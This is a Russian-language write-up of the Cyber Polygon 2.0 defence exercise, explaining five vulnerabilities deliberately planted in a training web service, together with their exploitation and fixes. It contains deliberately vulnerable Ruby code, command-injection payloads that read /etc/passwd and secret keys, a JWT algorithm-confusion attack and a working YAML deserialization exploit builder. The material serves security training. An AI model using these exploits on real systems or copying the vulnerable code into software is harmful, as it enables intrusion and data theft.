Типичный парадокс из жизни безопасника:

  • инцидентов быть не должно (потому что инциденты = потери для бизнеса);

  • но инцидентов должно быть много (потому что без опыта реагирования будет трудно сохранять квалификацию и оперативно отражать атаки).

Для выхода из этого порочного круга крупные компании заказывают услуги Red Team: нанимают сторонних специалистов, которые пытаются взломать компанию. Но, во-первых, это довольно дорого; во-вторых, развернуться здесь трудно: мало кто позволит всерьез ломать бизнес-критичные сервисы.

Мы решили попробовать другой подход — практические учения — и год назад впервые организовали бесплатный тренинг для корпоративных команд Cyber Polygon. В роли Red Team
мы атаковали сразу нескольких команд-участниц, причем все происходило в специальной тренировочной инфраструктуре, которую не жалко. 

В июле прошел Cyber Polygon 2.0. В нем участвовали уже 120 команд из 29 стран, а сценарии тренинга включали и защиту инфраструктуры от активной атаки (Defence), и реагирование
и расследование инцидентов (Response).

В этом райтапе мы расскажем о заданиях сценария Defence: идеи для него мы черпали из опыта подготовки attack-defence CTF.

Легенда

Интерфейс главной страницы уязвимого веб-приложения
Интерфейс главной страницы уязвимого веб-приложения

Согласно легенде, в виртуальной инфраструктуре организации функционировал сервис, обрабатывающий конфиденциальную информацию клиентов. Этот сервис заинтересовал некую APT-группировку, которая планировала украсть конфиденциальные данные пользователей и перепродать их на черном рынке, чтобы извлечь финансовую выгоду и нанести репутационный ущерб организации.

APT-группировка заранее провела необходимую разведку, обнаружила ряд критичных уязвимостей в целевой системе и в день учений начала свою атаку.

Перед участниками тренинга стояли следующие задачи:

  • как можно быстрее справиться с начавшейся атакой;

  • минимизировать объем украденной информации;

  • сохранить работоспособность сервиса.

Участники могли использовать любые доступные и привычные им средства и методы защиты.

Основные механики 

Как мы сказали, при разработке сценария мы вдохновлялись форматом attack-defenсe CTF. Однако на Cyber Polygon участникам не нужно было атаковать другие команды — достаточно было только защищать свой сервис.

Такое правило мы ввели для того, чтобы все участники оказались в равных условиях и сконцентрировались на улучшении навыков обороны. Кроме того, благодаря ему количественные метрики, а значит и оценка уровня команд, были более объективными.

В качестве метрик были определены следующие показатели:

Health Points (HP). HP выражалось простым численным значением. Команда теряла очки HP, если Red Team смогла успешно проэксплуатировать заложенную в сервисе уязвимость и получить флаг. Чем больше уязвимостей смогла проэксплуатировать Red Team, тем больше HP теряла команда, но при этом у каждой из команд HP отнимались только один раз за раунд.

Service Level Agreement (SLA). В контексте сценария показатель SLA характеризовал целостность и доступность сервиса. SLA измерялся в процентах (0–100%). Команда теряла очки SLA, если на момент обращения чекера сервис оказывался недоступен или функционировал ненадлежащим образом. Обращения чекера к сервису могли происходить несколько раз за раунд, но количество обращений к каждой из команд всегда было одинаковым. Результирующее значение SLA высчитывалось как процентное соотношение удачных проверок (когда сервис доступен и полностью функционален) к общему количеству проверок.

Чекер — механика, которая позволяла нам проверять, что сервисы участников функционируют должным образом. Поскольку игровой сервис имитировал реальное веб-приложение, чекер также использовался для проверки выполнения правил игры: участники не могли просто выключить сервис или отключить часть его функциональности, им нужно было защищаться от атак Red Team.

Результирующее количество баллов, заработанных командой в ходе сценария, вычислялось как SLA * HP.

Участникам давалось 30 минут на подготовку, в ходе которых они должны были ознакомиться с предоставленным им сервисом, развернуть средства мониторинга и защиты и начать искать уязвимости в коде сервиса.

По истечении этого времени начиналась так называемая «активная фаза» сценария: Red Team приступала к атаке. Активная фаза состояла из 18 раундов продолжительностью в 5 минут каждый.

Перед началом сценария каждая команда получала 180 HP для каждой из 5 заложенных в сервис уязвимостей (900 HP в сумме). За эксплуатацию уязвимости команда теряла 10 HP. Так, если в каком-то раунде было проэксплуатировано 3 уязвимости, за этот раунд команда теряла суммарно 30 HP, а если было проэксплуатировано 5 уязвимостей — 50 HP.

Помимо проверки того факта, что сервис команды функционирует должным образом, чекер применялся, чтобы в начале каждого раунда доставить в сервис команды так называемый флаг (используя легитимную функциональность сервиса). Флаг — это строка формата “Polygon{JWT}”, где JWT — JSON Web Token.

В контексте сценария флаг выступал в роли конфиденциальных данных: чем больше флагов смогла похитить Red Team, тем большей была утечка. Похищенный флаг также означал факт эксплуатации уязвимости: команда теряла очки HP именно тогда, когда Red Team получала флаг, эксплуатируя ту или иную уязвимость.

Инфраструктура и игровой сервис

Каждой команде, участвующей в учениях, мы предоставили виртуальный сервер под управлением ОС Linux.

После подключения по VPN участники получали доступ к своему серверу посредством SSH, при этом участникам предоставлялся полный доступ (root) к своей системе.

В домашней директории пользователя /home/cyberpolygon/ch4ng3org располагался игровой сервис участников.

Бэкенд игрового сервиса был реализован на Ruby, фронтенд — с использованием фреймворка React JS, для управления базой данных была использована СУБД PostgreSQL.

Сервис был предназначен для запуска в Docker, на что указывало, в частности, то, что в содержащей игровой сервис директории были расположены файлы Dockerfile и docker-compose.yml.

Участники имели полный доступ к исходным кодам сервиса, файлам конфигурации и базе данных и могли использовать эти сведения для поиска и устранения присутствующих в сервисе уязвимостей.

Уязвимости

Небезопасные прямые ссылки на объекты

Уязвимость класса «небезопасные прямые ссылки на объекты» (IDOR, Insecure Direct Object Reference) возникает из-за недостатков в механизмах авторизации. Уязвимость позволяет злоумышленнику получить доступ к данным других пользователей, к которым при нормальных условиях функционирования приложения у него не должно быть доступа.

В игровом сервисе уязвимость присутствовала в методе get класса UsersController.

backend/app/controllers/users_controller.rb:

def get
  user = User.find(params[:id])
  if params[:full].present?
    json_response({
      id: user.id,
      name: user.name,
      email: user.email,
      phone: user.phone
    })
  else
    json_response({
      id: user.id,
      name: user.name
    })
  end
end

При обращении по адресу вида http://example.com/api/users/<USER_ID>, где USER_ID — числовой идентификатор пользователя, любой пользователь мог получить JSON-объект, содержащий числовой идентификатор и имя пользователя, соответствующее этому числовому идентификатору.

Эта функциональность сама по себе не несет какой-либо опасности пользовательским данным. Однако следует обратить внимание на следующий фрагмент кода:

if params[:full].present?
  json_response({
    id: user.id,
    name: user.name,
    email: user.email,
    phone: user.phone
  })

Как можно увидеть, если передать в запросе параметр full, в ответе от сервера будет содержаться уже большее количество данных: помимо идентификатора и имени пользователя в ответе от сервиса будут возвращены еще его email и номер телефона.

В игровом сервисе флаги хранились как раз в поле user.phone (это можно было обнаружить, например, анализируя сетевой трафик). Каждый раунд чекер создавал нескольких пользователей и в качестве номера телефона для одного из них сохранял флаг.

Чтобы воспользоваться данным недостатком приложения, члены Red Team отправляли
в сервис запросы вида http://example.com/api/users/<USER_ID>?full=1 и искали флаг
в поле phone полученных JSON-объектов.

Процесс перебора числовых идентификаторов пользователей для получения флага
Процесс перебора числовых идентификаторов пользователей для получения флага

Для защиты от этой уязвимости хорошей практикой считается маскирование конфиденциальных данных при их отображении пользователю. Так, номер телефона +71112223344 можно отображать как +7111*****44.

Например:

def get
  user = User.find(params[:id])
  if params[:full].present?
    # Masking user's phone number
    uphone = user.phone
    x = 5
    y = uphone.length - 3
    replacement = '*'*(y-x)
    uphone[x..y] = replacement

    json_response({
      id: user.id,
      name: user.name,
      email: user.email,
      phone: uphone
    })
  else
    json_response({
      id: user.id,
      name: user.name
    })
  end
end

В таком случае вместо полного значения флага Red Team получала бы строку вида Polyg********X}, а команда участников не теряла бы очки HP из-за эксплуатации этой уязвимости.

Внедрение команд ОС

Внедрение команд ОС (Command Injection) происходит в результате недостаточной фильтрации пользовательских данных. Используя эту уязвимость, злоумышленник может формировать ввод, содержащий команды ОС, которые выполняются на целевой системе с привилегиями уязвимого приложения.

В игровом сервисе уязвимость присутствовала в методе disk_stats класса StatsController.

backend/app/controllers/stats_controller.rb:

def disk_stats
  if params[:flags].present?
    flags = params[:flags]
  else
    flags = ''
  end

  json_response({
    disk: `df #{flags}`
  })
end

При обращении по адресу вида http://example.com/api/disk_stats в ответе сервиса
в поле disk JSON-объекта возвращается вывод системной утилиты df, позволяющей оценить количество свободного пространства в файловой системе.

В вызываемую команду, по задумке разработчика, можно передавать различные параметры, однако при этом их значение никак не фильтруется:

if params[:flags].present?
  flags = params[:flags]

~~~~~~~~~~~~~~~~~~~~~~~~~~

  json_response({
    disk: `df #{flags}`
  })

Это означает, что потенциальный злоумышленник может выполнить практически любую команду в системе, используя специальный синтаксис командной строки.

Так, например, выполнив запрос http://example.com/api/disk_stats?flags=;cat/etc/passwd, злоумышленник сможет прочитать содержимое системного файла /etc/passwd.

Содержимое файла /etc/passwd, полученное в ответе от сервера
Содержимое файла /etc/passwd, полученное в ответе от сервера

Red Team эксплуатировала данный недостаток следующим образом:

  1. При помощи отправки запроса http://example.com/api/disk_stats?flags=>dev/null;cat config/secrets.yml Red Team получала содержимое файла backend/config/secrets.yml, в котором хранился приватный ключ для подписи JWT-токенов.

  2. Имея приватный ключ, Red Team могла сформировать и подписать себе валидный JWT-токен для любого пользователя. Поскольку Red Team использовала актуальный приватный ключ сервиса, данный токен был бы успешно провалидирован и принят приложением.

  3. При помощи отправки запроса http://example.com/api/me от лица пользователя, для которого был сгенерирован токен, Red Team получала номер телефона этого пользователя и проверяла, нет ли в нем флага.

Приватный ключ сервиса, полученный в ответе от сервера
Приватный ключ сервиса, полученный в ответе от сервера

Чтобы защититься от этой уязвимости, достаточно было запретить передавать какие-либо параметры в вызов команды, поскольку общая работоспособность системы не завязана
на использовании этого эндпоинта:

def disk_stats
  json_response({
    disk: `df`
  })
end

Небезопасная конфигурация

Уязвимость небезопасной конфигурации (Security Misconfiguration) возникает, как правило,
из-за человеческого фактора. Стандартные конфигурации приложений часто недостаточно ориентированы на безопасность. Из-за лени, недостатка внимания или некомпетентности обслуживающего персонала эти конфигурации порой остаются неадаптированными к суровым реалиям, что существенно сказывается на безопасности приложения.

В игровом сервисе эта уязвимость присутствовала в описании сервиса db в файле docker-compose.yml.

  db:
    image: postgres
    restart: always
    network_mode: bridge
    volumes:
      - ./db_data:/var/lib/postgresql/data
    ports:
      - 5432:5432
    environment:
      POSTGRES_DB: ch4ng3
      POSTGRES_USER: ch4ng3
      POSTGRES_PASSWORD: ch4ng3

Как можно заметить, сетевой порт базы данных доступен из внешней сети:

  ports:
      - 5432:5432

Кроме того, сервер базы данных использует в качестве имени базы данных, имени пользователя и пароля одну и ту же строку, к тому же совпадающую с именем сервиса ch4ng3.org.

Обнаружив в результате сканирования сети порт базы данных, Red Team смогла подобрать логин и пароль к этой базе данных. После этого она выполнила следующий SQL-запрос, получив в результате сразу все номера пользовательских телефонов, в которых хранились флаги:

SELECT phone FROM users WHERE phone LIKE 'Polygon%'
Пример исполнения вышеприведенного SQL-запроса
Пример исполнения вышеприведенного SQL-запроса

Для защиты от этой уязвимости идеальным решением стал бы запрет на подключение к базе данных из внешней сети и смена пароля пользователя базы данных (при этом нужно было
не забыть внести соответствующие изменения в конфигурацию сервиса api):

  db:
    image: postgres
    restart: always
    network_mode: bridge
    volumes:
      - ./db_data:/var/lib/postgresql/data
    environment:
      POSTGRES_DB: ch4ng3
      POSTGRES_USER: ch4ng3
      POSTGRES_PASSWORD: <VERY_SECRET_PASSWORD>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    environment:
      - DATABASE_URL=postgres://ch4ng3:<VERY_SECRET_PASSWORD>@db:5432/ch4ng3?sslmode=disable

Однако достаточно было предпринять одно действие из двух: сменить пароль пользователя базы данных на более безопасный либо запретить подключения к базе данных из внешней сети.

Изменение алгоритма подписи JWT

Следующая заложенная в игровом сервисе уязвимость была связана со сменой алгоритма подписи JWT.

В игровом сервисе уязвимость присутствовала в методе decode класса JsonWebToken.

backend/app/lib/json_web_token.rb:

def self.decode(token, algorithm)
  # cannot store key as ruby object in yaml file
  public_key = Rails.application.secrets.public_key_base
  if algorithm == 'RS256'
    public_key = OpenSSL::PKey::RSA.new(public_key)
  end
  # get payload; first index in decoded array
  body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
  HashWithIndifferentAccess.new body
  # rescue from expiry exception
rescue JWT::ExpiredSignature, JWT::VerificationError => e
  # raise custom error to be handled by custom handler
  raise ExceptionHandler::InvalidToken, e.message
end

Стоит более внимательно присмотреться к следующим строкам:

public_key = Rails.application.secrets.public_key_base
if algorithm == 'RS256'
  public_key = OpenSSL::PKey::RSA.new(public_key)
end
# get payload; first index in decoded array
body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]

Приложение подгружает строку с публичным ключом сервиса из файла конфигурации и, если 
в токене был передан алгоритм RS256, производит преобразование этой строки в публичный ключ RSA, который в дальнейшем используется для проверки подписи токена.

Легитимный запрос на получение пользовательских данных
Легитимный запрос на получение пользовательских данных
Декодированный токен из предыдущего запроса. В поле alg передано значение RS256
Декодированный токен из предыдущего запроса. В поле alg передано значение RS256

Можно заметить, что, если в параметре algorithm передано любое другое значение, преобразования строки с публичным ключом не произойдет. Если передать в поле alg JWT значение HS256, то для проверки подписи токена будет использован симметричный алгоритм HMAC, и именно эта строка с публичным ключом будет использована в качестве ключа для проверки подписи токена.

Red Team эксплуатировала данный недостаток следующим образом:

  1. При помощи отправки запроса http://example.com/api/auth/third_party Red Team получала публичный ключ сервиса из поля public_key полученного JSON-объекта.

  2. Имея публичный ключ, Red Team могла сформировать валидный JWT-токен для любого пользователя, передав в поле alg JWT значение HS256 и подписав токен, используя
    в качестве секрета для алгоритма HMAC строку, содержащую публичный ключ сервиса.

  3. При помощи отправки запроса http://example.com/api/me от лица пользователя, для которого был сгенерирован токен, Red Team получала номер телефона этого пользователя и проверяла, нет ли в нем флага.

Публичный ключ сервиса, полученный с использованием легитимной функциональности
Публичный ключ сервиса, полученный с использованием легитимной функциональности
Новый токен подписан при помощи алгоритма HS256
Новый токен подписан при помощи алгоритма HS256
Новый токен успешно проходит проверку, и сервис возвращает пользовательские данные
Новый токен успешно проходит проверку, и сервис возвращает пользовательские данные

Чтобы защититься от этой уязвимости, можно было руководствоваться следующей рекомендацией: при работе с JWT желательно использовать одновременно только один алгоритм подписи — либо симметричный, либо асимметричный. Так, самое простое исправление будет выглядеть следующим образом:

backend/app/lib/json_web_token.rb:

def self.decode(token, algorithm)
  # cannot store key as ruby object in yaml file
  public_key = Rails.application.secrets.public_key_base
  if algorithm == 'RS256'
    public_key = OpenSSL::PKey::RSA.new(public_key)
  else
    raise ExceptionHandler::InvalidToken, Message.invalid_token
  end
  # get payload; first index in decoded array
  body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
  HashWithIndifferentAccess.new body
  # rescue from expiry exception
rescue JWT::ExpiredSignature, JWT::VerificationError => e
  # raise custom error to be handled by custom handler
  raise ExceptionHandler::InvalidToken, e.message
end

Теперь, если передать в поле alg токена значение, отличное от RS256, токен будет помечен как невалидный и Red Team не сможет получить доступ к приложению от лица других пользователей, подписывая токены публичным ключом сервиса.

Небезопасная десериализация YAML

Последняя заложенная в игровом сервисе уязвимость была связана с небезопасной десериализацией YAML.

Подписанные пользователем петиции в личном кабинете
Подписанные пользователем петиции в личном кабинете

За импорт петиций через их описание в формате YAML отвечал метод import класса PetitionsController.

backend/app/controllers/petitions_controller.rb:

def import
  yaml = Base64.decode64(params[:petition])
  begin
    petition = YAML.load(yaml)
  rescue Psych::SyntaxError => e
    json_response({message: e.message}, 500)
    return
  rescue => e
    json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)
    return
  end
  if petition['created_at']
    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])
  else
    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])
  end
  petition.signs.create!(petition_id: petition.id, user_id: current_user.id)
  json_response(petition)
end

Особое внимание стоило уделить следующим строкам кода:

yaml = Base64.decode64(params[:petition])
begin
  petition = YAML.load(yaml)
rescue Psych::SyntaxError => e
  json_response({message: e.message}, 500)
  return

Как можно заметить, содержимое YAML-объекта берется из base64-кодированного параметра petition, после чего преобразуется в объекты языка Ruby конструкцией YAML.load(yaml).

Данная конструкция является небезопасной и позволяет, в том числе, выполнить на целевой системе произвольный код на языке Ruby в контексте уязвимого приложения, чем
и пользовалась Red Team.

При помощи следующего скрипта был сгенерирован YAML-объект, эксплуатирующий данный недостаток:

require "erb"
require "base64"
require "active_support"

if ARGV.empty?
  puts "Usage: exploit_builder.rb <source_file>"
  exit!
end

erb = ERB.allocate
erb.instance_variable_set :@src, File.read(ARGV.first)
erb.instance_variable_set :@lineno, 1

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result

payload = Base64.encode64(Marshal.dump(depr))

puts <<-PAYLOAD
---
!ruby/object:Gem::Requirement
requirements:
  - !ruby/object:Rack::Session::Abstract::SessionHash
      req: !ruby/object:Rack::Request
        env:
          rack.session: !ruby/object:Rack::Session::Abstract::SessionHash
            loaded: true
          HTTP_COOKIE: "a=#{payload}"
      store: !ruby/object:Rack::Session::Cookie
        coder: !ruby/object:Rack::Session::Cookie::Base64::Marshal {}
        key: a
        secrets: []
      exists: true
PAYLOAD

В качестве полезной нагрузки был использован следующий код:

phones = ''
User.all().each do |user|
  phones += user.phone + ';'
  end
raise phones

Код получал номера телефонов всех зарегистрированных в сервисе пользователей, объединял их друг с другом через «;» и при помощи конструкции raise вызывал исключение, передавая в качестве сообщения об ошибке строку, содержащую номера телефонов пользователей.

Сообщение об ошибке далее возвращалось сервером в поле JSON-объекта message вместе
с кодом ответа 500. При получении такого ответа Red Team оставалось только найти флаг
в сообщении об ошибке.

Номера телефонов всех зарегистрированных пользователей (в том числе и содержащие флаги) возвращаются от сервера в сообщении об ошибке
Номера телефонов всех зарегистрированных пользователей (в том числе и содержащие флаги) возвращаются от сервера в сообщении об ошибке

Чтобы защититься от данной уязвимости, достаточно было заменить вызов функции YAML.load(yaml) на вызов функции YAML.safe_load(yaml). Однако чекер в процессе проверки функциональности проверял, чтобы в переданном YAML-объекте было возможно использовать алиасы. Поэтому результирующая конструкция будет выглядеть примерно так: YAML.safe_load(yaml, aliases: true).

А результирующая безопасная функция — так:

def import
  yaml = Base64.decode64(params[:petition])
  begin
    petition = YAML.safe_load(yaml, aliases: true)
  rescue Psych::SyntaxError => e
    json_response({message: e.message}, 500)
    return
  rescue => e
    json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)
    return
  end
  if petition['created_at']
    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])
  else
    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])
  end
  petition.signs.create!(petition_id: petition.id, user_id: current_user.id)
  json_response(petition)
end

Послесловие

Итак, мы рассмотрели уязвимости, заложенные в игровом сервисе Defence-сценария тренинга Cyber Polygon, разобрали способы их эксплуатации и привели примеры исправлений, которые позволили бы участникам защитить свой сервис от атак Red Team.

Конечно, наши варианты устранения уязвимостей не единственно верные. Мы просто перечислили те способы, которыми воспользовались бы сами.

Сценарий предусматривал, что участники могут защититься, не исправляя код в своих игровых сервисах. Например, для защиты от третьей уязвимости Security Misconfiguration, связанной с небезопасной конфигурацией Docker, достаточно было заблокировать порт базы данных на файрволе.

Однако мы убеждены, что лучшее решение — исправлять недостатки сервисов и приложений, а не «прикрывать» их с помощью компенсационных мер защиты, которые рано или поздно атакующий может обойти. Вот почему мы подробно рассмотрели корректировку исходного кода для защиты от уязвимостей.

Если вы участвовали в Cyber Polygon, напишите, что вам показалось самым полезным. А мы пока пойдем писать райтап ко второму сценарию — Response, посвященному расследованию киберинцидентов.